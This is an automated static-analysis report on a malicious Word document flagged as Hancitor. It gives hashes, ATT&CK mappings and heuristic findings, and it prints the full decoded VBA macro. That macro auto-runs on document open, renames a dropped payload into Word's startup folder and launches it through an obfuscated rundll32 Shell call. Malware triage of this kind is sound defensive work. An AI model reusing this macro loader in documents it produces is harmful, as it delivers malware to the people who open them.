Win.Packed.Hancitor-9868784-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 86986e7b799d7f5c…

MALICIOUS

Office (OLE)

885.5 KB Created: 2021-05-31 08:56:00 Authoring application: Microsoft Office Word First seen: 2021-06-13
MD5: 8fd367487e44a4343a88d0ecc4e0454b SHA-1: 7aeb66e36cb36fe38efb7d1970ca4807ec7d0c0c SHA-256: 86986e7b799d7f5c46b881ea9a3fa6c52e4d2c84eb75daab711e7fcfb3fc6d97
510 Risk Score

Malware Insights

Win.Packed.Hancitor-9868784-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample contains a VBA macro with a Document_Open subroutine that executes a Shell command. This command uses 'rundll32.exe' to execute a file named 'ket.t' located in the startup path, which is likely a second-stage payload. The embedded executable artifact and ClamAV detection further support its malicious nature. The macro also attempts to search for and rename a file named 'jax.k' from the temporary directory to 'ket.t' in the startup path.

Heuristics 13

  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • ClamAV: Win.Packed.Hancitor-9868784-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Packed.Hancitor-9868784-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell ("rundl" & "l32" & ued & " " & Options.DefaultFilePath(wdStartupPath) & "\ket.t,YAKNPEPKBPI")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
       Set FSO = CreateObject("Scripting.FileSystemObject")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Reference to VirtualProtect API medium SC_STR_VIRTUALPROTECT
    Reference to VirtualProtect API
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1650 bytes
SHA-256: d8890572aaa639658f37408a9e5398e7edb2791909f68499ba70c446096a0c55
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Compare Text
Option Explicit
Dim pafs As String

Private Sub Document_Open()
Dim vcbc As String
vcbc = Options.DefaultFilePath(wdStartupPath)
Dim xc
xc = "texmp"
If Dir(vcbc & "\ket.t") = "" Then
Call yyy

Call xxx

If Len(pafs) > 2 Then

Call nam(pafs)

Dim ued As String
ued = ".exe"



Shell ("rundl" & "l32" & ued & " " & Options.DefaultFilePath(wdStartupPath) & "\ket.t,YAKNPEPKBPI")
End If
End If
End Sub
Sub yyy()
  Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.TypeBackspace
    Selection.Copy
End Sub
Sub xxx()
Dim usx
usx = Options.DefaultFilePath(wdTempFilePath)
 Dim FSO As Object
   Set FSO = CreateObject("Scripting.FileSystemObject")
Search FSO.GetFolder(usx)
End Sub


 
 Sub Search(mds As Object)
 Dim Nedc As Object

  
   For Each Nedc In mds.SubFolders
     Search Nedc
   Next Nedc
Dim Ters As Object
   For Each Ters In mds.Files
   
   If Ters.Name = "jax.k" Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub




Attribute VB_Name = "Module1"
Sub nam(pafs As String)
Name pafs As Options.DefaultFilePath(wdStartupPath) & "\" & "ket.t"
End Sub
embedded_office_0008ea68.exe embedded-pe Office MZ+PE at offset 0x8EA68 322456 bytes
SHA-256: 5930f69e9ae946f3ac4a18d1e36965244754a9b14e81e03b29c39352be5ddec9
Detection
ClamAV: Win.Packed.Hancitor-9868784-0
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1683931715/Ole10Native 292634 bytes
SHA-256: 74a915c443b879c6d52d711d3ff12e5d9f5ef63cbd5e62d112482b9b8997d2ab
Detection
ClamAV: Win.Packed.Hancitor-9868784-0
Obfuscation or payload: unlikely
ole10native_00_jax.k ole-package-payload OLE Ole10Native payload: ObjectPool/_1683931715/Ole10Native; display_name=jax.k; full_path=C:\Users\MyPc\AppData\Local\Temp\jax.k; temp_path=; def_file= 292352 bytes
SHA-256: e24fd0a04de0b2d0e92a28c38e180d97fe2445f34c2c8179bf3e34e27ed337dc
Detection
ClamAV: Win.Packed.Hancitor-9868784-0
Obfuscation or payload: unlikely